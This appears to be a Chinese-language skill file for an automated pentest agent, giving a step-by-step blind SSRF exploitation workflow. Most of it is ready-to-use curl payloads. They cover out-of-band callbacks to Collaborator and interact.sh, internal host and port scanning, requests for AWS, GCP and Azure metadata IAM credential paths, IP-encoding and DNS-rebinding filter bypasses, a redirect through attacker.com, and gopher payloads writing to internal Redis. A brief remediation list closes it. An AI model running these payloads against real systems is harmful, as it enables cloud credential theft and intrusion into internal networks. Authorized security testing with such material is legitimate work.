| name | performing-blind-ssrf-exploitation |
| description | 使用带外技术、DNS 交互和时序分析检测并利用盲 SSRF 漏洞,以访问内部服务和云元数据端点。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["blind-ssrf","ssrf","out-of-band","burp-collaborator","cloud-metadata","internal-network","oob-detection"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行盲 SSRF 利用(Performing Blind SSRF Exploitation)
适用场景
- 测试服务器端响应未被反映的 URL/Webhook 输入参数时
- 评估获取外部资源的应用程序(头像、预览、导入)时
- 测试 PDF 生成器、图像处理器或文档转换器的 SSRF 漏洞时
- 进行云安全评估以检测元数据端点访问时
- 评估 Webhook 功能和 URL 验证实现时
前置条件
- 带有 Burp Collaborator 的 Burp Suite Professional,用于带外(OOB)检测
- interact.sh 或 webhook.site,用于外部回调监控
- 了解 SSRF 攻击向量和内网枚举
- 掌握云元数据端点知识(AWS、GCP、Azure)
- 用于高级利用回调处理的 VPS 或受控服务器
- 带有 requests 库的 Python,用于自动化脚本
工作流程
步骤 1 — 识别盲 SSRF 输入点
curl -X POST http://target.com/api/fetch-url \
-H "Content-Type: application/json" \
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
curl -X POST http://target.com/api/webhooks \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
curl -X POST http://target.com/api/profile/avatar \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
curl -X POST http://target.com/api/import \
-H "Content-Type: application/json" \
-d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
步骤 2 — 使用带外检测确认盲 SSRF
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://RANDOM.interact.sh"}'
步骤 3 — 枚举内部网络
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
start=$(date +%s%N)
curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
end=$(date +%s%N)
elapsed=$(( (end - start) / 1000000 ))
echo "$ip: ${elapsed}ms"
done
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
curl -X POST http://target.com/api/fetch \
-d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
echo "端口 $port 已测试"
done
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
步骤 4 — 访问云元数据端点
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
步骤 5 — 绕过 SSRF 过滤器
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'
步骤 6 — 将盲 SSRF 升级为数据外泄
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
核心概念
| 概念 | 定义 |
|---|
| 盲 SSRF(Blind SSRF) | 服务器发出请求但响应对攻击者不可见 |
| 带外检测(Out-of-Band Detection) | 使用外部回调(DNS、HTTP)确认 SSRF 执行 |
| DNS 重绑定(DNS Rebinding) | 通过更改 DNS 解析绕过基于 IP 的 SSRF 过滤器的技术 |
| 云元数据(Cloud Metadata) | 可通过 SSRF 访问的实例元数据端点,用于凭证窃取 |
| Gopher 协议 | 允许构造载荷与内部 TCP 服务交互的协议 |
| 时序检测(Time-Based Detection) | 通过测量响应时间差异检测 SSRF 成功 |
| SSRF 链(SSRF Chain) | 将 SSRF 与其他漏洞结合以获得更大影响 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Collaborator | 用于 DNS 和 HTTP 回调检测的带外交互服务器 |
| interact.sh | ProjectDiscovery 的开源带外交互工具 |
| SSRFmap | 自动化 SSRF 检测和利用框架 |
| Gopherus | 生成用于通过 SSRF 利用内部服务的 gopher 载荷 |
| webhook.site | 用于测试 SSRF 回调的免费 Webhook 接收器 |
| rebinder.net | 用于绕过 SSRF IP 过滤器的 DNS 重绑定服务 |
常见场景
- 云凭证窃取 — 利用盲 SSRF 访问 AWS/GCP/Azure 元数据端点,窃取 IAM 凭证用于云账户入侵
- 内部服务发现 — 使用基于时序的盲 SSRF 枚举内网主机和开放端口
- Redis 利用 — 将盲 SSRF 与 gopher:// 协议结合,在内部 Redis 实例上执行命令
- Webhook 滥用 — 利用 Webhook URL 字段扫描内网并通过带外通道外泄数据
- PDF 生成器 SSRF — 向 PDF 生成功能注入内部 URL,在渲染的文档中外泄内部内容
输出格式
## 盲 SSRF 评估报告
- **目标**:http://target.com/api/fetch-url
- **检测方法**:Burp Collaborator DNS + HTTP 回调
- **内部访问已确认**:是
### 发现
| # | 输入点 | 载荷 | 检测 | 影响 |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url 参数 | http://collaborator | HTTP 回调 | 确认 SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | 时序(2.3s vs 0.1s) | 云元数据 |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis 写入已确认 | 潜在 RCE |
### 内网地图
| 主机 | 端口 | 服务 | 可访问 |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | 是 |
| 10.0.0.10 | 9200 | Elasticsearch | 是 |
| 169.254.169.254 | 80 | AWS 元数据 | 是 |
### 修复建议
- 对 URL 获取实施允许的外部域白名单
- 封锁对私有 IP 段和云元数据端点的请求
- 对 AWS 实例元数据使用 IMDSv2(需要令牌)
- 禁用未使用的 URL 协议(gopher、file、dict)
- 为应用程序服务器实施网络级别分段